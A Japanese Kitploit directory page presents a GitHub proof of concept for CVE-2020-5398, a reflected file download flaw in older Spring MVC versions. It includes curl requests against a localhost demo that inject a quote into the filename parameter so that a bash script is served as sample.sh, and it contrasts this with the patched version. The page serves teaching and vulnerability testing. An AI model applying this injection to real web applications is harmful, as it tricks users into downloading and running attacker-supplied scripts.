Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-5398 — CVE-2020-5398 - Spring MVC 向け RFD(Reflected File Download) 攻撃 | Kitploit
ツール/GitHubGitHub/motikan2010/cve-2020-5398
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubmotikan2010/cve-2020-5398

CVE-2020-5398

CVE-2020-5398 - Spring MVC 向け RFD(Reflected File Download) 攻撃

リポジトリを見る
84183年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-5398 - Spring MVC 向け RFD(Reflected File Download) 攻撃

Spring Framework の 5.2.x 系で 5.2.3 未満、5.1.x 系で 5.1.13 未満、および 5.0.x 系で 5.0.16 未満のバージョンでは、レスポンスの “Content-Disposition” ヘッダーを設定する際に、その filename 属性がユーザー入力から取得される場合、アプリケーションは reflected file download (RFD) 攻撃に対して脆弱になります。

使い方

root@kitploit:~
./gradlew bootrun

127.0.0.1:8080 で待ち受けます。

root@kitploit:~
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT

Hello, World

sample.txt ファイルのダウンロードが始まります。

PoC

安全でないバージョン(Spring Web 5.2.2)

root@kitploit:~
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT

#!/bin/bash
id

sample.sh ファイルのダウンロードが始まります。(シェルファイル)

安全なバージョン(Spring Web 5.2.3)

root@kitploit:~
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT

#!/bin/bash
id

sample.sh";.txt ファイルのダウンロードが始まります。(テキストファイル)

参考

  • CVE-2020-5398: Spring MVC または Spring WebFlux アプリケーションのリクエスト入力から取得された “Content-Disposition” ヘッダーによる RFD 攻撃 | Security | Pivotal
  • NVD - CVE-2020-5398
  • RFD 攻撃とは?
    • eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
    • Reflected File Download - OWASP
  • 修正コミット
    • ContentDisposition refactoring · spring-projects/spring-framework@956ffe6
ツールをダウンロード